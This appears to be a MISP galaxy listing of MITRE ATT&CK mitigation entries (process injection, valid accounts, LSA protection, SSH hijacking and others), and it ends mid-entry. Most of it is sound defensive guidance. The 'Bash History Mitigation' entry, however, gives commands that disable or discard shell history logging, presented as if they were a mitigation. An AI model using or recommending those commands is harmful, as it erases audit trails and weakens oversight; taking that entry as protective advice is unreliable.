Environmental Keying Mitigation - T1480
This technique likely should not be mitigated with preventative controls because it may protect unintended targets from being compromised. If targeted, efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior if compromised.
The tag is: misp-galaxy:mitre-course-of-action="Environmental Keying Mitigation - T1480"
Environmental Keying Mitigation - T1480 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Execution Guardrails - T1480" with estimative-language:likelihood-probability="almost-certain"
Links |
Do Not Mitigate - M1055
This category is to associate techniques that mitigation might increase risk of compromise and therefore mitigation is not recommended.
The tag is: misp-galaxy:mitre-course-of-action="Do Not Mitigate - M1055"
Do Not Mitigate - M1055 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Execution Guardrails - T1480" with estimative-language:likelihood-probability="almost-certain"
Links |
Process Injection Mitigation - T1055
This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific Windows API calls will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior. (Citation: GDSecurity Linux injection)
Identify or block potentially malicious software that may contain process injection functionality by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
Utilize Yama (Citation: Linux kernel Yama) to mitigate ptrace based process injection by restricting the use of ptrace to privileged users only. Other mitigation controls involve the deployment of security kernel modules that provide advanced access control and process restrictions such as SELinux (Citation: SELinux official), grsecurity (Citation: grsecurity official), and AppAmour (Citation: AppArmor official).
The tag is: misp-galaxy:mitre-course-of-action="Process Injection Mitigation - T1055"
Process Injection Mitigation - T1055 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx |
Input Capture Mitigation - T1056
Identify and block potentially malicious software that may be used to acquire credentials or information from the user by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
In cases where this behavior is difficult to detect or mitigate, efforts can be made to lessen some of the impact that might result from an adversary acquiring credential information. It is also good practice to follow mitigation recommendations for adversary use of [Valid Accounts](https://attack.mitre.org/techniques/T1078).
The tag is: misp-galaxy:mitre-course-of-action="Input Capture Mitigation - T1056"
Input Capture Mitigation - T1056 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx |
Process Discovery Mitigation - T1057
Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about processes, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
The tag is: misp-galaxy:mitre-course-of-action="Process Discovery Mitigation - T1057"
Process Discovery Mitigation - T1057 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx |
Account Discovery Mitigation - T1087
Prevent administrator accounts from being enumerated when an application is elevating through UAC since it can lead to the disclosure of account names. The Registry key is located <code>HKLM\ SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\CredUI\EnumerateAdministrators</code>. It can be disabled through GPO: Computer Configuration > [Policies] > Administrative Templates > Windows Components > Credential User Interface: E numerate administrator accounts on elevation. (Citation: UCF STIG Elevation Account Enumeration)
Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about system and domain accounts, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
The tag is: misp-galaxy:mitre-course-of-action="Account Discovery Mitigation - T1087"
Account Discovery Mitigation - T1087 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx |
Valid Accounts Mitigation - T1078
Take measures to detect or prevent techniques such as [Credential Dumping](https://attack.mitre.org/techniques/T1003) or installation of keyloggers to acquire credentials through [Input Capture](https://attack.mitre.org/techniques/T1056). Limit credential overlap across systems to prevent access if account credentials are obtained. Ensure that local administrator accounts have complex, unique passwords across all systems on the network. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled and use of accounts is segmented, as this is often equivalent to having a local administrator account with the same password on all systems.
Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. (Citation: Microsoft Securing Privileged Access)
Audit domain and local accounts as well as their permission levels routinely to look for situations that could allow an adversary to gain wide access by obtaining credentials of a privileged account. (Citation: TechNet Credential Theft) (Citation: TechNet Least Privilege) These audits should also include if default accounts have been enabled, or if new local accounts are created that have not be authorized.
Applications and appliances that utilize default username and password should be changed immediately after the installation, and before deployment to a production environment. (Citation: US-CERT Alert TA13-175A Risks of Default Passwords on the Internet) When possible, applications that use SSH keys should be updated periodically and properly secured.
The tag is: misp-galaxy:mitre-course-of-action="Valid Accounts Mitigation - T1078"
Valid Accounts Mitigation - T1078 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
Links |
Multilayer Encryption Mitigation - T1079
Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Use of encryption protocols may make typical network-based C2 detection more difficult due to a reduced ability to signature the traffic. Prior knowledge of adversary C2 infrastructure may be useful for domain and IP address blocking, but will likely not be an effective long-term solution because adversaries can change infrastructure often. (Citation: University of Birmingham C2)
The tag is: misp-galaxy:mitre-course-of-action="Multilayer Encryption Mitigation - T1079"
Multilayer Encryption Mitigation - T1079 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Multilayer Encryption - T1079" with estimative-language:likelihood-probability="almost-certain"
Links |
Account Manipulation Mitigation - T1098
Use multifactor authentication. Follow guidelines to prevent or limit adversary access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).
Protect domain controllers by ensuring proper security configuration for critical servers. Configure access controls and firewalls to limit access to these systems. Do not allow domain administrator accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.
The tag is: misp-galaxy:mitre-course-of-action="Account Manipulation Mitigation - T1098"
Account Manipulation Mitigation - T1098 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"
Links |
Modify Registry Mitigation - T1112
Misconfiguration of permissions in the Registry may lead to opportunities for an adversary to execute code, like through [Service Registry Permissions Weakness](https://attack.mitre.org/techniques/T1058). Ensure proper permissions are set for Registry hives to prevent users from modifying keys for system components that may lead to privilege escalation.
Identify and block unnecessary system utilities or potentially malicious software that may be used to modify the Registry by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
The tag is: misp-galaxy:mitre-course-of-action="Modify Registry Mitigation - T1112"
Modify Registry Mitigation - T1112 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx |
Authentication Package Mitigation - T1131
Windows 8.1, Windows Server 2012 R2, and later versions, may make LSA run as a Protected Process Light (PPL) by setting the Registry key <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL</code>, which requires all DLLs loaded by LSA to be signed by Microsoft. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)
The tag is: misp-galaxy:mitre-course-of-action="Authentication Package Mitigation - T1131"
Authentication Package Mitigation - T1131 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Authentication Package - T1131" with estimative-language:likelihood-probability="almost-certain"
Links |
http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html |
Screen Capture Mitigation - T1113
Blocking software based on screen capture functionality may be difficult, and there may be legitimate software that performs those actions. Instead, identify potentially malicious software that may have functionality to acquire screen captures, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
The tag is: misp-galaxy:mitre-course-of-action="Screen Capture Mitigation - T1113"
Screen Capture Mitigation - T1113 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx |
Email Collection Mitigation - T1114
Use of encryption provides an added layer of security to sensitive information sent over email. Encryption using public key cryptography requires the adversary to obtain the private certificate along with an encryption key to decrypt messages.
Use of two-factor authentication for public-facing webmail servers is also a recommended best practice to minimize the usefulness of user names and passwords to adversaries.
Identify unnecessary system utilities or potentially malicious software that may be used to collect email data files or access the corporate email server, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
The tag is: misp-galaxy:mitre-course-of-action="Email Collection Mitigation - T1114"
Email Collection Mitigation - T1114 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Email Collection - T1114" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx |
Input Prompt Mitigation - T1141
This technique exploits users' tendencies to always supply credentials when prompted, which makes it very difficult to mitigate. Use user training as a way to bring awareness and raise suspicion for potentially malicious events (ex: Office documents prompting for credentials).
The tag is: misp-galaxy:mitre-course-of-action="Input Prompt Mitigation - T1141"
Input Prompt Mitigation - T1141 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Input Prompt - T1141" with estimative-language:likelihood-probability="almost-certain"
Links |
Clipboard Data Mitigation - T1115
Instead of blocking software based on clipboard capture behavior, identify potentially malicious software that may contain this functionality, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
The tag is: misp-galaxy:mitre-course-of-action="Clipboard Data Mitigation - T1115"
Clipboard Data Mitigation - T1115 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx |
LC_LOAD_DYLIB Addition Mitigation - T1161
Enforce that all binaries be signed by the correct Apple Developer IDs, and whitelist applications via known hashes. Binaries can also be baselined for what dynamic libraries they require, and if an app requires a new dynamic library that wasn’t included as part of an update, it should be investigated.
The tag is: misp-galaxy:mitre-course-of-action="LC_LOAD_DYLIB Addition Mitigation - T1161"
LC_LOAD_DYLIB Addition Mitigation - T1161 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="LC_LOAD_DYLIB Addition - T1161" with estimative-language:likelihood-probability="almost-certain"
Links |
Code Signing Mitigation - T1116
Process whitelisting and trusted publishers to verify authenticity of software can help prevent signed malicious or untrusted code from executing on a system. (Citation: NSA MS AppLocker) (Citation: TechNet Trusted Publishers) (Citation: Securelist Digital Certificates)
The tag is: misp-galaxy:mitre-course-of-action="Code Signing Mitigation - T1116"
Code Signing Mitigation - T1116 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Code Signing - T1116" with estimative-language:likelihood-probability="almost-certain"
Links |
Automated Collection Mitigation - T1119
Encryption and off-system storage of sensitive information may be one way to mitigate collection of files, but may not stop an adversary from acquiring the information if an intrusion persists over a long period of time and the adversary is able to discover and access the data through other means. A keylogger installed on a system may be able to intercept passwords through [Input Capture](https://attack.mitre.org/techniques/T1056) and be used to decrypt protected documents that an adversary may have collected. Strong passwords should be used to prevent offline cracking of encrypted documents through [Brute Force](https://attack.mitre.org/techniques/T1110) techniques.
Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to collect files and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
The tag is: misp-galaxy:mitre-course-of-action="Automated Collection Mitigation - T1119"
Automated Collection Mitigation - T1119 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx |
Template Injection Mitigation - T1221
Consider disabling Microsoft Office macros/active content to prevent the execution of malicious payloads in documents (Citation: Microsoft Disable Macros), though this setting may not mitigate the [Forced Authentication](https://attack.mitre.org/techniques/T1187) use for this technique.
Because this technique involves user interaction on the endpoint, it’s difficult to fully mitigate. However, there are potential mitigations including training users to identify social engineering techniques and spearphishing emails. Network/Host intrusion prevention systems, antivirus, and detonation chambers can be employed to prevent documents from fetching and/or executing malicious payloads. (Citation: Anomali Template Injection MAR 2018)
The tag is: misp-galaxy:mitre-course-of-action="Template Injection Mitigation - T1221"
Template Injection Mitigation - T1221 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Template Injection - T1221" with estimative-language:likelihood-probability="almost-certain"
Links |
Audio Capture Mitigation - T1123
Mitigating this technique specifically may be difficult as it requires fine-grained API control. Efforts should be focused on preventing unwanted or unknown code from executing on a system.
Identify and block potentially malicious software that may be used to record audio by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
The tag is: misp-galaxy:mitre-course-of-action="Audio Capture Mitigation - T1123"
Audio Capture Mitigation - T1123 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx |
Data Encoding Mitigation - T1132
Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)
The tag is: misp-galaxy:mitre-course-of-action="Data Encoding Mitigation - T1132"
Data Encoding Mitigation - T1132 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
Links |
Video Capture Mitigation - T1125
Mitigating this technique specifically may be difficult as it requires fine-grained API control. Efforts should be focused on preventing unwanted or unknown code from executing on a system.
Identify and block potentially malicious software that may be used to capture video and images by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
The tag is: misp-galaxy:mitre-course-of-action="Video Capture Mitigation - T1125"
Video Capture Mitigation - T1125 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx |
Login Item Mitigation - T1162
Restrict users from being able to create their own login items. Additionally, holding the shift key during login prevents apps from opening automatically (Citation: Re-Open windows on Mac).
The tag is: misp-galaxy:mitre-course-of-action="Login Item Mitigation - T1162"
Login Item Mitigation - T1162 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Login Item - T1162" with estimative-language:likelihood-probability="almost-certain"
Links |
Domain Fronting Mitigation - T1172
If it is possible to inspect HTTPS traffic, the captures can be analyzed for connections that appear to be Domain Fronting.
In order to use domain fronting, attackers will likely need to deploy additional tools to compromised systems. (Citation: FireEye APT29 Domain Fronting With TOR March 2017) (Citation: Mandiant No Easy Breach) It may be possible to detect or prevent the installation of these tools with Host-based solutions.
The tag is: misp-galaxy:mitre-course-of-action="Domain Fronting Mitigation - T1172"
Domain Fronting Mitigation - T1172 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Domain Fronting - T1172" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.fireeye.com/blog/threat-research/2017/03/apt29_domain_frontin.html |
http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016 |
AppCert DLLs Mitigation - T1182
Identify and block potentially malicious software that may be executed through AppCert DLLs by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.
The tag is: misp-galaxy:mitre-course-of-action="AppCert DLLs Mitigation - T1182"
AppCert DLLs Mitigation - T1182 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="AppCert DLLs - T1182" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
Spearphishing Link Mitigation - T1192
Because this technique involves user interaction on the endpoint, it’s difficult to fully mitigate. However, there are potential mitigations. Users can be trained to identify social engineering techniques and spearphishing emails with malicious links. Determine if certain websites that can be used for spearphishing are necessary for business operations and consider blocking access if activity cannot be monitored well or if it poses a significant risk. Other mitigations can take place as [User Execution](https://attack.mitre.org/techniques/T1204) occurs.
The tag is: misp-galaxy:mitre-course-of-action="Spearphishing Link Mitigation - T1192"
Spearphishing Link Mitigation - T1192 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1192" with estimative-language:likelihood-probability="almost-certain"
Links |
Hidden Window Mitigation - T1143
Whitelist programs that are allowed to have this plist tag. All other programs should be considered suspicious.
The tag is: misp-galaxy:mitre-course-of-action="Hidden Window Mitigation - T1143"
Hidden Window Mitigation - T1143 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Hidden Window - T1143" with estimative-language:likelihood-probability="almost-certain"
Links |
Create Account Mitigation - T1136
Use and enforce multifactor authentication. Follow guidelines to prevent or limit adversary access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) that may be used to create privileged accounts within an environment.
Adversaries that create local accounts on systems may have limited access within a network if access levels are properly locked down. These accounts may only be needed for persistence on individual systems and their usefulness depends on the utility of the system they reside on.
Protect domain controllers by ensuring proper security configuration for critical servers. Configure access controls and firewalls to limit access to these systems. Do not allow domain administrator accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.
The tag is: misp-galaxy:mitre-course-of-action="Create Account Mitigation - T1136"
Create Account Mitigation - T1136 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Create Account - T1136" with estimative-language:likelihood-probability="almost-certain"
Links |
Application Shimming Mitigation - T1138
There currently aren’t a lot of ways to mitigate application shimming. Disabling the Shim Engine isn’t recommended because Windows depends on shimming for interoperability and software may become unstable or not work. Microsoft released an optional patch update - KB3045645 - that will remove the "auto-elevate" flag within the sdbinst.exe. This will prevent use of application shimming to bypass UAC.
Changing UAC settings to "Always Notify" will give the user more visibility when UAC elevation is requested, however, this option will not be popular among users due to the constant UAC interruptions.
The tag is: misp-galaxy:mitre-course-of-action="Application Shimming Mitigation - T1138"
Application Shimming Mitigation - T1138 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Application Shimming - T1138" with estimative-language:likelihood-probability="almost-certain"
Links |
Spearphishing Attachment Mitigation - T1193
Network intrusion prevention systems and systems designed to scan and remove malicious email attachments can be used to block activity. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.
Block unknown or unused attachments by default that should not be transmitted over email as a best practice to prevent some vectors, such as .scr, .exe, .pif, .cpl, etc. Some email scanning devices can open and analyze compressed and encrypted formats, such as zip and rar that may be used to conceal malicious attachments in [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).
Because this technique involves user interaction on the endpoint, it’s difficult to fully mitigate. However, there are potential mitigations. Users can be trained to identify social engineering techniques and spearphishing emails. To prevent the attachments from executing, application whitelisting can be used. Anti-virus can also automatically quarantine suspicious files.
The tag is: misp-galaxy:mitre-course-of-action="Spearphishing Attachment Mitigation - T1193"
Spearphishing Attachment Mitigation - T1193 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
Links |
Bash History Mitigation - T1139
There are multiple methods of preventing a user’s command history from being flushed to their .bash_history file, including use of the following commands: <code>set +o history</code> and <code>set -o history</code> to start logging again; <code>unset HISTFILE</code> being added to a user’s .bash_rc file; and <code>ln -s /dev/null ~/.bash_history</code> to write commands to <code>/dev/null</code>instead.
The tag is: misp-galaxy:mitre-course-of-action="Bash History Mitigation - T1139"
Bash History Mitigation - T1139 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Bash History - T1139" with estimative-language:likelihood-probability="almost-certain"
Links |
Gatekeeper Bypass Mitigation - T1144
Other tools should be used to supplement Gatekeeper’s functionality. Additionally, system settings can prevent applications from running that haven’t been downloaded through the Apple Store which can help mitigate some of these issues.
The tag is: misp-galaxy:mitre-course-of-action="Gatekeeper Bypass Mitigation - T1144"
Gatekeeper Bypass Mitigation - T1144 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Gatekeeper Bypass - T1144" with estimative-language:likelihood-probability="almost-certain"
Links |
Private Keys Mitigation - T1145
Use strong passphrases for private keys to make cracking difficult. When possible, store keys on separate cryptographic hardware instead of on the local system. Ensure only authorized keys are allowed access to critical resources and audit access lists regularly. Ensure permissions are properly set on folders containing sensitive private keys to prevent unintended access. Use separate infrastructure for managing critical systems to prevent overlap of credentials and permissions on systems that could be used as vectors for lateral movement. Follow other best practices for mitigating access through use of [Valid Accounts](https://attack.mitre.org/techniques/T1078).
The tag is: misp-galaxy:mitre-course-of-action="Private Keys Mitigation - T1145"
Private Keys Mitigation - T1145 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Private Keys - T1145" with estimative-language:likelihood-probability="almost-certain"
Links |
Hidden Users Mitigation - T1147
If the computer is domain joined, then group policy can help restrict the ability to create or hide users. Similarly, preventing the modification of the <code>/Library/Preferences/com.apple.loginwindow</code> <code>Hide500Users</code> value will force all users to be visible.
The tag is: misp-galaxy:mitre-course-of-action="Hidden Users Mitigation - T1147"
Hidden Users Mitigation - T1147 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Hidden Users - T1147" with estimative-language:likelihood-probability="almost-certain"
Links |
SSH Hijacking Mitigation - T1184
Ensure SSH key pairs have strong passwords and refrain from using key-store technologies such as ssh-agent unless they are properly protected. Ensure that all private keys are stored securely in locations where only the legitimate owner has access to with strong passwords and are rotated frequently. Ensure proper file permissions are set and harden system to prevent root privilege escalation opportunities. Do not allow remote access via SSH as root or other privileged accounts. Ensure that agent forwarding is disabled on systems that do not explicitly require this feature to prevent misuse. (Citation: Symantec SSH and ssh-agent)
The tag is: misp-galaxy:mitre-course-of-action="SSH Hijacking Mitigation - T1184"
SSH Hijacking Mitigation - T1184 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="SSH Hijacking - T1184" with estimative-language:likelihood-probability="almost-certain"
Links |
LC_MAIN Hijacking Mitigation - T1149
Enforce valid digital signatures for signed code on all applications and only trust applications with signatures from trusted parties.
The tag is: misp-galaxy:mitre-course-of-action="LC_MAIN Hijacking Mitigation - T1149"
LC_MAIN Hijacking Mitigation - T1149 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="LC_MAIN Hijacking - T1149" with estimative-language:likelihood-probability="almost-certain"
Links |
Defacement Mitigation - T1491
Implementing best practices for websites such as defending against [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) (Citation: OWASP Top 10 2017). Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data. (Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.
The tag is: misp-galaxy:mitre-course-of-action="Defacement Mitigation - T1491"
Defacement Mitigation - T1491 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Defacement - T1491" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.owasp.org/images/7/72/OWASP_Top_10-2017_%28en%29.pdf.pdf |
Startup Items Mitigation - T1165
Since StartupItems are deprecated, preventing all users from writing to the <code>/Library/StartupItems</code> directory would prevent any startup items from getting registered. Similarly, appropriate permissions should be applied such that only specific users can edit the startup items so that they can’t be leveraged for privilege escalation.
The tag is: misp-galaxy:mitre-course-of-action="Startup Items Mitigation - T1165"
Startup Items Mitigation - T1165 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Startup Items - T1165" with estimative-language:likelihood-probability="almost-certain"
Links |
Dylib Hijacking Mitigation - T1157
Prevent users from being able to write files to the search paths for applications, both in the folders where applications are run from and the standard dylib folders. If users can’t write to these directories, then they can’t intercept the search path.
The tag is: misp-galaxy:mitre-course-of-action="Dylib Hijacking Mitigation - T1157"
Dylib Hijacking Mitigation - T1157 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Dylib Hijacking - T1157" with estimative-language:likelihood-probability="almost-certain"
Links |
Launch Agent Mitigation - T1159
Restrict user’s abilities to create Launch Agents with group policy.
The tag is: misp-galaxy:mitre-course-of-action="Launch Agent Mitigation - T1159"
Launch Agent Mitigation - T1159 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Launch Agent - T1159" with estimative-language:likelihood-probability="almost-certain"
Links |
Browser Extensions Mitigation - T1176
Only install browser extensions from trusted sources that can be verified. Ensure extensions that are installed are the intended ones as many malicious extensions will masquerade as legitimate ones.
Browser extensions for some browsers can be controlled through Group Policy. Set a browser extension white or black list as appropriate for your security policy. (Citation: Technospot Chrome Extensions GP)
Change settings to prevent the browser from installing extensions without sufficient permissions.
Close out all browser sessions when finished using them.
The tag is: misp-galaxy:mitre-course-of-action="Browser Extensions Mitigation - T1176"
Browser Extensions Mitigation - T1176 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Browser Extensions - T1176" with estimative-language:likelihood-probability="almost-certain"
Links |
http://www.technospot.net/blogs/block-chrome-extensions-using-google-chrome-group-policy-settings/ |
Process Doppelgänging Mitigation - T1186
This type of attack technique cannot be easily mitigated with preventive controls or patched since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate process-loading mechanisms from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.
Although Process Doppelgänging may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
The tag is: misp-galaxy:mitre-course-of-action="Process Doppelgänging Mitigation - T1186"
Process Doppelgänging Mitigation - T1186 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Process Doppelgänging - T1186" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx |
LSASS Driver Mitigation - T1177
On Windows 8.1 and Server 2012 R2, enable LSA Protection by setting the Registry key <code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL</code> to <code>dword:00000001</code>. (Citation: Microsoft LSA Protection Mar 2014) LSA Protection ensures that LSA plug-ins and drivers are only loaded if they are digitally signed with a Microsoft signature and adhere to the Microsoft Security Development Lifecycle (SDL) process guidance.
On Windows 10 and Server 2016, enable Windows Defender Credential Guard (Citation: Microsoft Enable Cred Guard April 2017) to run lsass.exe in an isolated virtualized environment without any device drivers. (Citation: Microsoft Credential Guard April 2017)
